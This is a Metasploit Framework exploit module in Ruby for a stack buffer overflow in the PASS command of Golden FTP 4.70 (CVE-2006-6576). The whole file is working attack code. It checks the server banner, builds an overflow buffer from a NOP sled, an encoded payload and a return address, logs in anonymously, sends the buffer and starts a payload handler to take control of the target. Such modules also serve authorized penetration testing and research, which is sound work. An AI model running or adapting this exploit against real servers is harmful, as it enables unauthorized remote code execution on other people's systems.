#
# $Id: goldenftp_pass_bof.rb 12816 2011-06-02 12:24:25Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Golden
        FTP service. This module uses the PASS command to trigger the overflow.
      },
      'Author'         => [ 'bannedit' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 12816 $',
      'References'     =>
        [
          [ 'CVE', '2006-6576'],
          [ 'OSVDB', '35951'],
          [ 'BID', '45957 '],
          [ 'URL', 'https://www.exploit-db.com/exploits/16036/'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 350,
          'BadChars' => "\x00\x0a\x0d",
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [
            'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
            {
              'Platform' => 'win',
              'Ret'      => 0x00a93ca6,
            },
          ]

        ],
      'DisclosureDate' => 'Jan 23 2011'))
  end
  
  def check
    connect
    disconnect
    print_status("FTP Banner: #{banner}".strip)
    if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    if datastore['RHOST'].length < 15
      pad = make_nops(1) * (15 - datastore['RHOST'].length)
    end
    
    sploit = make_nops(4) * 38
    sploit << payload.encoded
    sploit << pad
    sploit << make_nops(1) * (528 - sploit.length)
    sploit << [target.ret].pack('V')

    print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
    begin
      connect
      send_user("anonymous")
      send_cmd(['PASS', sploit], false)
      handler
    rescue EOFError
    end
  end
end